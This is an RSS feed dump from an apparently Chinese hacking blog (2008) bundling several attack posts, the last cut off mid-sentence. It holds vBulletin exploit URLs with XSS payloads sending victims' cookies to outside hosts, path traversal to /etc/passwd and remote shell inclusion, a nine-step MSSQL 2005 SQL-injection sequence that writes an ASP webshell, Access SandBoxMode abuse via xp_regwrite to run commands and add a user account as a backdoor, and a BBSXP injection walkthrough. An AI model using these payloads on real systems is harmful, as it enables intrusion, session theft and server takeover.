OPTIONS:-&amp;gt;Obojętnie &lt;br/&gt;&lt;br/&gt;3.5.3 - XSS&lt;br/&gt;Quote:www.strona.com/forumpath/profile.php?do=editpassword&lt;br/&gt;pass:Twoje hasło&lt;br/&gt;email: jakis@email.com”&amp;gt;&amp;lt;script&amp;gt;img = new Image(); img.src = &amp;#34;&lt;a href=&quot;http://strona.pl/s.jpg?&quot; target=&quot;_blank&quot;&gt;http://strona.pl/s.jpg?&lt;/a&gt;&amp;#34;+document.cookie;&amp;lt;/script&amp;gt;.nomatt&lt;br/&gt;Note About lenght limitation&lt;br/&gt;****&lt;br/&gt;forum/profile.php?do=editoptions&lt;br/&gt;Receive Email from Other Members=yes&lt;br/&gt;****&lt;br/&gt;www.strona.com/forumpath/sendmessage.php?do=mailmember&amp;amp;u={your id} &lt;br/&gt;&lt;br/&gt;3.5.4&lt;br/&gt;Quote:www.strona.com/forumpath/install/upgrade_301.php?step=SomeWord &lt;br/&gt;&lt;br/&gt;3.5.4 - XSS&lt;br/&gt;Quote:www.strona.com/forumpath/inlinem ... l=lala2%0d%0aConten t-Length:%2033%0d%0a%0d%0a&amp;lt;html&amp;gt;Hacked!&amp;lt;/html&amp;gt;%0d%0a%0d%0a &lt;br/&gt;&lt;br/&gt;Moduły do vbulletin&lt;br/&gt;&lt;br/&gt;vBug Tracker 3.5.1 - XSS&lt;br/&gt;Quote:www.strona.com/forumpath/vbugs.p ... ug_typeid=0&amp;amp;vbu g_statusid=0&amp;amp;vbug_severityid=0&amp;amp;vbug_versionid=0&amp;amp;as signment=0&amp;amp;sortfield=lastedit&amp;amp;sortorder=%22%3Cscri pt%3Eimg= new Image(); img.src = &amp;#34;&lt;a href=&quot;http://antichat.ru/cgi-bin/s.jpg?&quot; target=&quot;_blank&quot;&gt;http://antichat.ru/cgi-bin/s.jpg?&lt;/a&gt;&amp;#34;+document.cookie;%3C/script%3E &lt;br/&gt;&lt;br/&gt;ImpEx 1.74 &lt;br/&gt;Quote:www.strona.com/forumpath/impex/I ... wnload/r57shell.txt&lt;br/&gt;www.strona.com/forumpath/impex/I ... ../../../etc/passwd &lt;br/&gt;&lt;br/&gt;ibProArcade 2.x - SQL injection&lt;br/&gt;Quote:www.strona.com/forumpath/index.p ... =report&amp;amp;user=-1 union sel&amp;#101;ct password from user wh&amp;#101;re userid=[any_user] &lt;br/&gt;&lt;br/&gt;google dork:&lt;br/&gt;Code:&lt;br/&gt;&amp;#34;Powered by vBulletin Version [numer_version]&amp;#34;&lt;br/&gt;&lt;br/&gt;</description><category>[脚本]√飘零代码</category><pubDate>Sat, 14 Jun 2008 04:06:19 +0800</pubDate><author>mhnf@163.com(网络人生)</author><guid isPermaLink="false">http://www.wwwer.net/cn/default.asp?id=985</guid><dc:creator>mhnf@163.com(网络人生)</dc:creator><fs:srclink>http://www.wwwer.net/cn/default.asp?id=985</fs:srclink><fs:srcfeed>http://www.wwwer.net/cn/feed.asp</fs:srcfeed><fs:itemid>feedsky/wwwer/~6942786/83670257/5050703</fs:itemid></item><item><title>Mssql2005 Log备份Webshell</title><link>http://item.feedsky.com/~feedsky/wwwer/~6942786/83670258/5050703/1/item.html</link><description>注:转载就注入出自&amp;#39;孤孤浪子博客&amp;#39;原创&lt;br/&gt;&lt;a href=&quot;http://itpro.blog.163.com&quot; target=&quot;_blank&quot;&gt;http://itpro.blog.163.com&lt;/a&gt;&lt;br/&gt;各位拿站的朋友。是不是感觉到现在mssql2000一部分都升级到mssql2005了，目前网络上大多数log备份和差异备份WebShell都针对sql2000的数据库而开发的。那么碰到2005的数据库怎么办呢。不用急，请按照以下方式继续可以拿到webshell。by:孤狐浪子 qq:393214425&lt;br/&gt;第一步&lt;br/&gt;&lt;a href=&quot;http://itpro.blog.163.com&quot; target=&quot;_blank&quot;&gt;http://itpro.blog.163.com&lt;/a&gt;/test.asp&amp;#39;;alt&amp;#101;r/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--&lt;br/&gt;&lt;br/&gt;第二步：&lt;br/&gt;&lt;a href=&quot;http://itpro.blog.163.com&quot; target=&quot;_blank&quot;&gt;http://itpro.blog.163.com&lt;/a&gt;/test.asp&amp;#39;;declare/**/@d/**/nvarchar(4000)/**/sel&amp;#101;ct/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--&lt;br/&gt;&lt;br/&gt;第三步&lt;br/&gt;&lt;a href=&quot;http://itpro.blog.163.com&quot; target=&quot;_blank&quot;&gt;http://itpro.blog.163.com&lt;/a&gt;/test.asp&amp;#39;;dro&amp;#112;/**/table/**/[itpro]--&lt;br/&gt;&lt;br/&gt;第四步&lt;br/&gt;&lt;a href=&quot;http://itpro.blog.163.com&quot; target=&quot;_blank&quot;&gt;http://itpro.blog.163.com&lt;/a&gt;/test.asp&amp;#39;;cr&amp;#101;ate/**/table/**/[itpro]([a]/**/image)--&lt;br/&gt;&lt;br/&gt;第五步&lt;br/&gt;&lt;a href=&quot;http://itpro.blog.163.com&quot; target=&quot;_blank&quot;&gt;http://itpro.blog.163.com&lt;/a&gt;/test.asp&amp;#39;;declare/**/@d/**/nvarchar(4000)/**/sel&amp;#101;ct/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--&lt;br/&gt;&lt;br/&gt;第六步&lt;br/&gt;&lt;a href=&quot;http://itpro.blog.163.com&quot; target=&quot;_blank&quot;&gt;http://itpro.blog.163.com&lt;/a&gt;/test.asp&amp;#39;;ins&amp;#101;rt/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--&lt;br/&gt;&lt;br/&gt;第七步&lt;br/&gt;&lt;a href=&quot;http://itpro.blog.163.com&quot; target=&quot;_blank&quot;&gt;http://itpro.blog.163.com&lt;/a&gt;/test.asp&amp;#39;;declare/**/@d/**/nvarchar(4000)/**/sel&amp;#101;ct/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--&lt;br/&gt;&lt;br/&gt;第八步&lt;br/&gt;&lt;a href=&quot;http://itpro.blog.163.com&quot; target=&quot;_blank&quot;&gt;http://itpro.blog.163.com&lt;/a&gt;/test.asp&amp;#39;;dro&amp;#112;/**/table/**/[itpro]--&lt;br/&gt;&lt;br/&gt;第九步&lt;br/&gt;&lt;a href=&quot;http://itpro.blog.163.com&quot; target=&quot;_blank&quot;&gt;http://itpro.blog.163.com&lt;/a&gt;/test.asp&amp;#39;;declare/**/@d/**/nvarchar(4000)/**/sel&amp;#101;ct/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--&lt;br/&gt;</description><category>[共享]√教程工具</category><pubDate>Fri, 13 Jun 2008 04:16:03 +0800</pubDate><author>mhnf@163.com(网络人生)</author><guid isPermaLink="false">http://www.wwwer.net/cn/default.asp?id=990</guid><dc:creator>mhnf@163.com(网络人生)</dc:creator><fs:srclink>http://www.wwwer.net/cn/default.asp?id=990</fs:srclink><fs:srcfeed>http://www.wwwer.net/cn/feed.asp</fs:srcfeed><fs:itemid>feedsky/wwwer/~6942786/83670258/5050703</fs:itemid></item><item><title>ACCESS高级注入</title><link>http://item.feedsky.com/~feedsky/wwwer/~6942786/83670259/5050703/1/item.html</link><description>现在我们在脚本注入攻击的技术中,常用的手法分好多种,最普通的是利用子查询或者是Union联合查询来取得一些特殊表中的内容,比如Admin,Log表等等,这是一种纯粹的对数据库的攻击方式,而MSSQL Server的方法则更为多样和复杂,&lt;br/&gt;当我们取得连接权限较高的注入点的时候,我们可以利用MSSQL Server本身所带的扩展来执行命令，或者是获取目录,读取文件与修改注册表;在低权用户的连接中，我们则可以试用差异备份,&lt;br/&gt;或者干脆就是跑数据库等方式来实现对系统的直接攻击或者是间接的攻击.再则则是类似于Oracle\MySQL\DB2这些非MS直接支持的数据库关于他们,我们也有多种多样的攻击手法,执行命令,导出文件或读取文件等.&lt;br/&gt;以上是一些我们针对常用数据库的攻击方式的大体总结,不难看出，其中最鸡肋的,要算是Access的数据库了.一来在Access中,无法直接获取数据库中的表名和字段名称,二来在Access中,我们能做的东西非常少,&lt;br/&gt;再说也不支持多语句的SQL语法,和T-SQL的标准又有不少的区别,让人觉得Access数据库中仅有的Ins&amp;#101;rt,Up&amp;#100;ate,Sel&amp;#101;ct,Delte,Produce仅仅是对SQL语句的封装而已.所以,我们依旧需要对Access进行研究.&lt;br/&gt;在这篇研究笔记中,我所参考的文章和资料,有部分来自nsfocus和xFocus早在2000-2002年的文档,另一篇则是SuperHei所发表的&amp;lt;关于Access的一些测试&amp;gt;,&lt;br/&gt;大家可以在&lt;a href=&quot;http://www.4ngel.net/&quot; target=&quot;_blank&quot;&gt;http://www.4ngel.net/&lt;/a&gt;安全天使安全小组的网站上查询到.OK,废话不要太多,我们继续研究.&lt;br/&gt;我们可以去翻看微软在刚推出Windows 2000的时候曾经出现过几个非常大的脚本漏洞的漏洞公告，其中比如cateloy_type.asp的远程注入漏洞和Msadscs.dll漏洞等都涉及了与现在的攻击手法或者是常用的利用方法极为不同的地方,&lt;br/&gt;比如Catelog_type.asp的注入漏洞,它的代码中出现的问题是这样的:&lt;br/&gt;&amp;#34;sel&amp;#101;ct * from cateloy wh&amp;#101;re type=&amp;#39;&amp;#34; &amp;amp; Requset(&amp;#34;Type&amp;#34;) &amp;amp; &amp;#34;&amp;#39;&amp;#34;&lt;br/&gt;谁都能看明白这是一个非常低级的注入漏洞,直接将Type的值放入SQL语句中查询,并没有估计到用户的恶意输入.&lt;br/&gt;如果换作现在,我们基本上只有拿来跑表份,幸好MS没设置类似PHP的gpc,否则我们将一事无成.但是我们可以查看这篇漏洞资料的利用方式,其中涉及到了一个SQL语句:&lt;br/&gt;Sel&amp;#101;ct * from Sometable wh&amp;#101;re somefield=&amp;#39;|Sel&amp;#101;ct Shell(&amp;#34;cmd.exe /c dir&amp;#34;)|&amp;#39;&lt;br/&gt;关于这个语句的介绍,是漏洞资料中所说的,Access允许用&amp;#34;|&amp;#34;来创建VBA函数,导致命令被执行,其实这只是Access内置的一个特殊函数而已,相类似的还有cudir和Command函数.具体的我们可以在Access中测试.测试的SQL语句如下:&lt;br/&gt;Sel&amp;#101;ct Shell(&amp;#34;cmd.exe /c dir c:\ &amp;gt; c:\kevin.txt&amp;#34;)&lt;br/&gt;回到C盘,我们果然看到了kevin.txt.说明语句执行成功了.&lt;br/&gt;然后我们将其转到脚本中测试吧.编写如下的VBS脚本&lt;br/&gt;Set Conn=Cr&amp;#101;ateobject(&amp;#34;Adodb.Connection&amp;#34;)&lt;br/&gt;Conn.Open &amp;#34;Provider=Microsoft.Jet.OLEDB.4.0;Data Source=kevins4t.mdb&amp;#34;&lt;br/&gt;Set Rs=Conn.execute(&amp;#34;Sel&amp;#101;ct Shell(&amp;#34;&amp;#34;cmd.exe /c dir c:\ &amp;gt; c:\kevin.txt&amp;#34;&amp;#34;)&amp;#34;)&lt;br/&gt;Msgbox Rs(0)&lt;br/&gt;这一此出现的结果很出乎我们的意料,错误的原因是&amp;#34;表达式中的&amp;#39;Shell&amp;#39;函数未定义&amp;#34;.现在我们需要安静下来喝杯咖啡然后思考为什么同样的语句在不同的执行者间会出现如此截然不同的问题.一个能正常执行,&lt;br/&gt;而另外一个则是找不到函数.试想微软一定在其中的什么地方设置了一个开关,那么我们就去微软的知识库去了解一下.&lt;br/&gt;在微软的一篇关于沙盒模式的文档中,我们了解到一些内容:&lt;br/&gt;为了安全起见,MS在Jet引擎的Sp8中,设置了一个名为SandBoxMode的开关,这个开关是开启一些特殊函数在另外的执行者中执行的权限的.它的注册表位置在&lt;br/&gt;HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode里,默认是2.微软关于这个键值的介绍为:0为在任何所有者中中都禁止起用安全设置,1为仅在允许的范围之内,&lt;br/&gt;2则是必须是Access的模式下(这就是为什么我们能在Access中执行成功的原因.),3则是完全开启,连Access中也不支持.&lt;br/&gt;那么好吧,我们来看看如果将值变为0将会怎样.&lt;br/&gt;这次运行我们的VBS的时候,出现的情况是一组数字,再在C盘下查看文件,果然看到了我们的kevin.txt.很神奇吧.原来Access也是可以执行命令的,只是微软这家伙总是懒得说出来而已.但是如果在实际方面会怎样呢?&lt;br/&gt;一.后门的设置&lt;br/&gt;我们的运用将会很窄.真的,一来我们需要的权限很高,起码要到能改注册表的权限,默认是Admin和LocalSystem,二来是我们将如何修改注册表，远程吗?没门的.所以我们只好将其当作一个后门用.&lt;br/&gt;只要我们修改了注册表的值,那么在普通的注入语句中,这是一个很不错的后门方式,最起码可以在外部执行一些小小的命令什么的.&lt;br/&gt;比如我们在渗透某个站点的时候拿到了最高权限,并且修改了这个SandBoxMode,之后我们被管理员扫地出门了.那么,在首页的某个地方依旧存在这一个Sel&amp;#101;ct的注入点,这样最好,我们让服务器执行如下的SQL就行了.&lt;br/&gt;InjectionURL&amp;#39; and 0&amp;lt;&amp;gt;(sel&amp;#101;ct shell(&amp;#34;cmd.exe /c net user &amp;gt; c:\inetpub\wwwroot\kevins4t.txt&amp;#34;))%00&lt;br/&gt;这样我们就可以一步一步的将重新服务器拿下.&lt;br/&gt;二.远程攻击&lt;br/&gt;这将是一个很有意思的话题.首先我们必须有修改注册表的权限,二是有修改注册表的条件,三是可以执行SandboxMode的环境,必须三样同时满足才行,到底是在什么情况下呢?&lt;br/&gt;我们知道,我们平时在杂志上看到的文章,很多的无非就是在一个以Sa连接的InjectionURL中苦苦挣扎,一是执行命令,如果去掉了扩展或者是将扩展需要的DLL移走,我们将一无所用.那么聪明的你是否想到了方法?&lt;br/&gt;我们知道,只有Sa的权限才有可能去打开另外一个Access的连接的,当我们满足了打开Access的条件的同时,我们也满足了修改注册表的条件和权限,因为MSSQL有一个名为xp_regwrite的扩展,它的作用是修改注册表的值.语法如下&lt;br/&gt;exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value&lt;br/&gt;那我们只要将SandBoxMode修改为0或者1就成功了.然后则是MSSQL的OpenRowSet函数,它用于打开一个特殊的数据库或者连接到另一个数据库之中.当我们具备SysAdmin的权限的时候,我们就可以做到打开Jet引擎.那么我们只要连接到一个Access数据库中,&lt;br/&gt;然后执行命令就可以了.但是关键的问题是如何寻找这个Access数据库.&lt;br/&gt;关于这个问题我以前想了很多,一开始是想,利用目录便历来查询数据库的位置.但是这种方法成功率不会很高,有的时候我们碰到很多的站点都设置了非常好的权限,无法找到MDB数据库.这是最为烦恼的地方.&lt;br/&gt;不过后来我想到了一些前人用过的方式,系统里本来就有2-3个现存的数据库嘛,何必费神的去找呢?它们的位置在%windir%\system32\ias\ias.mdb或者%windir%\system32\ias\dnary.mdb这样一来,我们有了执行宿主,就没什么好怕的了.执行一下我们所需要的命令吧&lt;br/&gt;InjectionURL&amp;#39;;Sel&amp;#101;ct * From OpenRowSet(&amp;#39;Microsoft.Jet.OLEDB.4.0&amp;#39;,&amp;#39;;Database=c:\winnt\system32\ias\ias.mdb&amp;#39;,&amp;#39;sel&amp;#101;ct shell(&amp;#34;net user kevin 1986 /ad&amp;#34;)&amp;#39;);--&lt;br/&gt;这样,我们就执行了命令了.而且继承的是MSSQL的LocalService的System权限.&lt;br/&gt;&lt;br/&gt;--------------------------------------------------------------------------------------------------------------------------------------------------------&lt;br/&gt;&lt;br/&gt;用户表&lt;br/&gt;Sel&amp;#101;ct Name FROM msysobjects Wh&amp;#101;re Type = 1 and flags=0&lt;br/&gt;所有表&lt;br/&gt;Sel&amp;#101;ct Name FROM msysobjects Wh&amp;#101;re Type = 1 &lt;br/&gt;&lt;br/&gt;判断版本：&lt;br/&gt;Sel&amp;#101;ct NULL FROM MSysModules2&amp;nbsp;&amp;nbsp;&amp;#39;97&lt;br/&gt;Sel&amp;#101;ct NULL FROM MSysAccessObjects &amp;#39;97 2000&lt;br/&gt;Sel&amp;#101;ct NULL FROM MSysAccessXML &amp;#39;2000 2002-2003&lt;br/&gt;Sel&amp;#101;ct NULL FROM MSysAccessStorage &amp;#39;2002-2003 2007&lt;br/&gt;&lt;br/&gt;SandBoxMode:&lt;br/&gt;SandBoxMode的开关,这个开关是开启一些特殊函数在另外的执行者中执行的权限的.它的注册表位置在&lt;br/&gt;HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode里,默认是2.&lt;br/&gt;微软关于这个键值的介绍为:0为在任何所有者中中都禁止起用安全设置,1为仅在允许的范围之内,&lt;br/&gt;2则是必须是Access的模式下(这就是为什么我们能在Access中执行成功的原因.),3则是完全开启,连Access中也不支持.&lt;br/&gt;&lt;br/&gt;执行命令：&lt;br/&gt;Sel&amp;#101;ct Shell(&amp;#34;cmd.exe /c dir c:\ &amp;gt; c:\kevin.txt&amp;#34;)&lt;br/&gt;&lt;br/&gt;读文件&lt;br/&gt;Sel&amp;#101;ct *&amp;nbsp;&amp;nbsp;FROM [TEXT;DATABASE=c:\;HDR=NO;FMT=Delimited].[kevin.txt]&lt;br/&gt;&lt;br/&gt;写文件：【不能在子查询和UNION查询中，实用价值不大】&lt;br/&gt;Sel&amp;#101;ct &amp;#34;text to write&amp;#34;&amp;nbsp;&amp;nbsp;into [TEXT;DATABASE=c:\;HDR=NO;FMT=Delimited].[kevin1.txt]&lt;br/&gt;&lt;br/&gt;当前路径：sandboxing enable&lt;br/&gt;sel&amp;#101;ct curdir() from msysaccessobjects&lt;br/&gt;sel&amp;#101;ct dir(&amp;#39;c:\ &amp;#39;) from msysaccessobjects&lt;br/&gt;sel&amp;#101;ct environ(1) from msysaccessobjects&lt;br/&gt;sel&amp;#101;ct filedatetime(&amp;#39;c:\boot.ini&amp;#39;) from msysaccessobjects&lt;br/&gt;sel&amp;#101;ct filelen(&amp;#39;c:\boot.ini&amp;#39;) from msysaccessobjects&lt;br/&gt;sel&amp;#101;ct getattr(&amp;#39;c:\ &amp;#39;) from msysaccessobjects&lt;br/&gt;sel&amp;#101;ct shell(&amp;#39;cmd.exe /c dir c:\ &amp;gt; c:\kevin.txt&amp;#39;) from msysaccessobjects&lt;br/&gt;&lt;br/&gt;跨文件查询：&lt;br/&gt;Sel&amp;#101;ct *&amp;nbsp;&amp;nbsp;FROM dv_address IN &amp;#39;D:\dailian\bbs\Dvbbs8.2.0_Ac\Data\IPaddress.mdb&amp;#39;&lt;br/&gt;&lt;br/&gt;连接MSSQL:&lt;br/&gt;Sel&amp;#101;ct * FROM [ODBC;DRIVER=SQL SERVER;Server=(local);UID=sa;PWD=2853wang; DATABASE=master].Information_Schema.Tables&lt;br/&gt;&lt;br/&gt;参考资料：&lt;br/&gt;&lt;a href=&quot;http://www.tr4c3.com/SecDocs/ACCESS%20THROUGH%20ACCESS.pdf&quot; target=&quot;_blank&quot;&gt;http://www.tr4c3.com/SecDocs/ACCESS%20THROUGH%20ACCESS.pdf&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;</description><category>[传教]√经验之谈</category><pubDate>Fri, 13 Jun 2008 04:10:48 +0800</pubDate><author>mhnf@163.com(网络人生)</author><guid isPermaLink="false">http://www.wwwer.net/cn/default.asp?id=988</guid><dc:creator>mhnf@163.com(网络人生)</dc:creator><fs:srclink>http://www.wwwer.net/cn/default.asp?id=988</fs:srclink><fs:srcfeed>http://www.wwwer.net/cn/feed.asp</fs:srcfeed><fs:itemid>feedsky/wwwer/~6942786/83670259/5050703</fs:itemid></item><item><title>BBSXP最新漏洞及发现过程</title><link>http://item.feedsky.com/~feedsky/wwwer/~6942786/83670260/5050703/1/item.html</link><description>操作环境：Micromedia Dreamweaver 8.0+IIS 5.0+SQL Server 2000+BBSXP 6.00 SP1 SQL&lt;br/&gt;出差回来的这几天工作比较轻松，正好为大家献上前几天发现的BBSXP新漏洞，顺便给大家介绍一下查找ASP程序漏洞的方法。看到这里你应该会想到NBSI吧？没错，NBSI的确是一个不错的漏洞检测和利用的工具，但它只能针对有规律可循的简单的漏洞。从软件测试的角度来说它使用的是黑盒测试方法。而现在我要告诉大家的是白盒测试方法：从源代码中去查找漏洞（安全系数比较高的BUG）。&lt;br/&gt;在开始之前要先选择一个顺手的工具，我用的是Dreamweaver 8.0。首先在DW中创建一个站点。&lt;br/&gt;下面给大家介绍一些相关的理论基础，（脚本小子：这个时候千万不要不耐烦。如果到这里就不耐烦了，那你就只能做一只小菜鸟）目的是为了让大家摆脱知其然而不知其所以然的困境。&lt;br/&gt;由于在ASP中的所有漏洞都是由于没有严格校验从客户端接收的数据而造成的，所谓的数字型、字符型漏洞只是在SQL查询语句中的使用方法不同而已。而在程序中所有的数据校验和转换的过程都是包含在从数据接收到执行查询语句之间的，因此我们的关注点就要放在获取客户端提交的数据与拼接查询语句之间的数据校验过程中。&lt;br/&gt;为了简化查找的过程，我们要从一些关键字入手。利用Dreamweaver的搜索功能把可能会存在漏洞的位置查找出来。在ASP中接收客户端数据的方法不外乎Request对象，使用方法包括且类似于Request(“ForumID”)、Request.QueryString(“ForumID”)、Request.Form(“ForumID”)、Request.Cookies(“ForumID”)。因此只需要搜索Request关键字就可以了。&lt;br/&gt;文件名中包含Admin的就不需要再看了，因为我们不可能在普通用户的状态下访问到这些文件。双击Bank.asp中的一个搜索结果在编辑窗口中可以看到下面的代码：&lt;br/&gt;qmoney=int(Request(&amp;#34;qmoney&amp;#34;))&lt;br/&gt;if qmoney &amp;gt; Rs(&amp;#34;UserMoney&amp;#34;) then error(&amp;#34;&amp;lt;li&amp;gt;您的现金没有这么多吧！&amp;#34;)&lt;br/&gt;if qmoney&amp;lt;1 then error(&amp;#34;&amp;lt;li&amp;gt;存款不能为零！&amp;#34;) &lt;br/&gt;&lt;br/&gt;Rs(&amp;#34;savemoney&amp;#34;)=Rs(&amp;#34;savemoney&amp;#34;)+qmoney+accrual&lt;br/&gt;Rs(&amp;#34;UserMoney&amp;#34;)=Rs(&amp;#34;UserMoney&amp;#34;)-qmoney&lt;br/&gt;Rs(&amp;#34;SaveMoneyTime&amp;#34;)=now()&lt;br/&gt;Rs.up&amp;#100;ate&lt;br/&gt;Rs.close&lt;br/&gt;这里使用了int方法进行了数据转换，同时使用Recordset字段赋值后保存数据，这么做是不可能产生漏洞的。事实上两个方法中只要使用了任意一个都无法注入，因此可以将类似的数据使用方法忽略。&lt;br/&gt;双击Friends.asp中的搜索结果可以找到如下代码：&lt;br/&gt;incept=HTMLEncode(Request(&amp;#34;incept&amp;#34;))&lt;br/&gt;UserName=HTMLEncode(Request(&amp;#34;UserName&amp;#34;))&lt;br/&gt;&lt;br/&gt;sub add&lt;br/&gt;if UserName=&amp;#34;&amp;#34; then error2(&amp;#34;请输入您要添加的好友名字！&amp;#34;)&lt;br/&gt;&lt;br/&gt;if UserName=CookieUserName then error2(&amp;#34;不能添加自己！&amp;#34;)&lt;br/&gt;&lt;br/&gt;If Conn.Execute(&amp;#34;Sel&amp;#101;ct id From [BBSXP_Users] wh&amp;#101;re UserName=&amp;#39;&amp;#34;&amp;amp;UserName&amp;amp;&amp;#34;&amp;#39;&amp;#34; ).eof Then error2(&amp;#34;数据库不存在此用户的资料！&amp;#34;)&lt;br/&gt;从查询语句上可以看出：如果UserName变量中包含单引号的话将会产生字符型注入漏洞。所以需要在UserName从客户端获取到拼接查询语句的过程中使用HTMLEncode方法来进行过滤，此法的实现逻辑如下：&lt;br/&gt;function HTMLEncode(fString)&lt;br/&gt;fString=Replace(fString,&amp;#34;;&amp;#34;,&amp;#34;;&amp;#34;)&lt;br/&gt;fString=Replace(fString,&amp;#34;&amp;lt;&amp;#34;,&amp;#34;&amp;lt;&amp;#34;)&lt;br/&gt;fString=Replace(fString,&amp;#34;&amp;gt;&amp;#34;,&amp;#34;&amp;gt;&amp;#34;)&lt;br/&gt;fString=Replace(fString,&amp;#34;\&amp;#34;,&amp;#34;\&amp;#34;)&lt;br/&gt;fString=Replace(fString,&amp;#34;--&amp;#34;,&amp;#34;--&amp;#34;)&lt;br/&gt;fString=Replace(fString,CHR(9),&amp;#34; &amp;#34;)&lt;br/&gt;fString=Replace(fString,CHR(10),&amp;#34;&amp;lt;br&amp;gt;&amp;#34;)&lt;br/&gt;fString=Replace(fString,CHR(13),&amp;#34;&amp;#34;)&lt;br/&gt;fString=Replace(fString,CHR(22),&amp;#34; &amp;#34;)&lt;br/&gt;fString=Replace(fString,CHR(32),&amp;#34; &amp;#34;)&lt;br/&gt;fString=Replace(fString,CHR(34),&amp;#34;&amp;#34;&amp;#34;)&amp;#39;双引号&lt;br/&gt;fString=Replace(fString,CHR(39),&amp;#34;&amp;#39;&amp;#34;)&amp;#39;单引号&lt;br/&gt;fString=ReplaceText(fString,&amp;#34;&amp;amp;#([0-9]*);&amp;#34;,&amp;#34;&amp;amp;#$1;&amp;#34;) &amp;#39;解决韩文字符问题&lt;br/&gt;if IsSqlDataBase=0 then &amp;#39;过滤片假名(日文字符)[\u30A0-\u30FF] by yuzi首创&lt;br/&gt;fString=escape(fString)&lt;br/&gt;fString=ReplaceText(fString,&amp;#34;%u30([A-F][0-F])&amp;#34;,&amp;#34;&amp;amp;#x30$1;&amp;#34;)&lt;br/&gt;fString=unescape(fString)&lt;br/&gt;end if&lt;br/&gt;HTMLEncode=fString&lt;br/&gt;end function&lt;br/&gt;我们关注的方法中显然已经过滤了单引号，因此也就不会产生字符型注入漏洞。继续向下看搜索结果。如果看到类似的语句，且使用HTMLEncode方法过滤了，我们就可以认为它是安全的。&lt;br/&gt;另外还有一些比较普遍的情况，类似于如下代码：&lt;br/&gt;sel&amp;#101;ct case Request(&amp;#34;menu&amp;#34;)&lt;br/&gt;case &amp;#34;add&amp;#34;&lt;br/&gt;add&lt;br/&gt;case &amp;#34;bad&amp;#34;&lt;br/&gt;bad&lt;br/&gt;case &amp;#34;Del&amp;#34;&lt;br/&gt;Del&lt;br/&gt;case &amp;#34;Post&amp;#34;&lt;br/&gt;Post&lt;br/&gt;case &amp;#34;look&amp;#34;&lt;br/&gt;look&lt;br/&gt;case &amp;#34;loadLog&amp;#34;&lt;br/&gt;loadLog&lt;br/&gt;case &amp;#34;addPost&amp;#34;&lt;br/&gt;addPost&lt;br/&gt;case &amp;#34;&amp;#34;&lt;br/&gt;index&lt;br/&gt;end sel&amp;#101;ct&lt;br/&gt;在这段代码中menu的值没用被用到查询语句中，也就不可能产生注入漏洞，同样也可以忽略。&lt;br/&gt;上面我说了很多种不会产生漏洞的代码，你一定是急着想知道什么样的代码才能产生漏洞吧？拿出一点耐心来，通过对上面的这几种情况进行排查分析后，在702个搜索结果中所剩的也就是只有十几个了。&lt;br/&gt;接下来说一下产生漏洞的代码，找到Loading.asp的第一个搜索结果可以看到这段代码：&lt;br/&gt;id=int(Request(&amp;#34;id&amp;#34;))&lt;br/&gt;ForumID=HTMLEncode(Request(&amp;#34;ForumID&amp;#34;))&lt;br/&gt;if id=&amp;#34;0&amp;#34; then&lt;br/&gt;if Request(&amp;#34;ForumID&amp;#34;)=&amp;#34;0&amp;#34; then&lt;br/&gt;sql=&amp;#34;sel&amp;#101;ct * from [BBSXP_UsersOnline] wh&amp;#101;re UserName&amp;lt;&amp;gt;&amp;#39;&amp;#39; and eremite&amp;lt;&amp;gt;1&amp;#34;&lt;br/&gt;else&lt;br/&gt;sql=&amp;#34;sel&amp;#101;ct * from [BBSXP_UsersOnline] wh&amp;#101;re ForumID=&amp;#34;&amp;amp;ForumID&amp;amp;&amp;#34; and UserName&amp;lt;&amp;gt;&amp;#39;&amp;#39; and eremite&amp;lt;&amp;gt;1&amp;#34;&lt;br/&gt;end if&lt;br/&gt;从查询语句来看，这段代码应该存在数字型注入漏洞。然而它对ForumID却使用HTMLEncode方法进行过滤，也就是说除了单引号等特殊字符外，字母和常用符号都是可以通过验证的。为了证实这个想法，我在这段代码后加了一句“Response.Write(sql)”用来测试。&lt;br/&gt;输入如下的URL：&lt;br/&gt;“&lt;a href=&quot;http://localhost/bbsxp/loading.asp?ForumID=0/&quot; target=&quot;_blank&quot;&gt;http://localhost/bbsxp/loading.asp?ForumID=0/&lt;/a&gt;**/sel&amp;#101;ct/**/username/**/from/**/bbsxp_user/**/sel&amp;#101;ct/**/*/**/from/**/bbsxp_usersonline/**/wh&amp;#101;re/**/forumid=0”&lt;br/&gt;空白页面上显示出我们所需要的查询语句：&lt;br/&gt;sel&amp;#101;ct * from [BBSXP_UsersOnline] wh&amp;#101;re ForumID=0/**/sel&amp;#101;ct/**/username/**/from/**/bbsxp_user/**/sel&amp;#101;ct/**/*/**/from/**/bbsxp_usersonline/**/wh&amp;#101;re/**/forumid=0 and UserName&amp;lt;&amp;gt;&amp;#39;&amp;#39; and eremite&amp;lt;&amp;gt;1&lt;br/&gt;这意味着构造的语句已经成功地通过了系统过滤。现在我们可以把URL中的“sel&amp;#101;ct/**/username/**/from/**/bbsxp_user”修改成任意的、不包含特殊字符的SQL查询语句。接下来的操作不用说了吧？不过有时候查询语句并不会直接显示在界面上，我们可以使用Sql 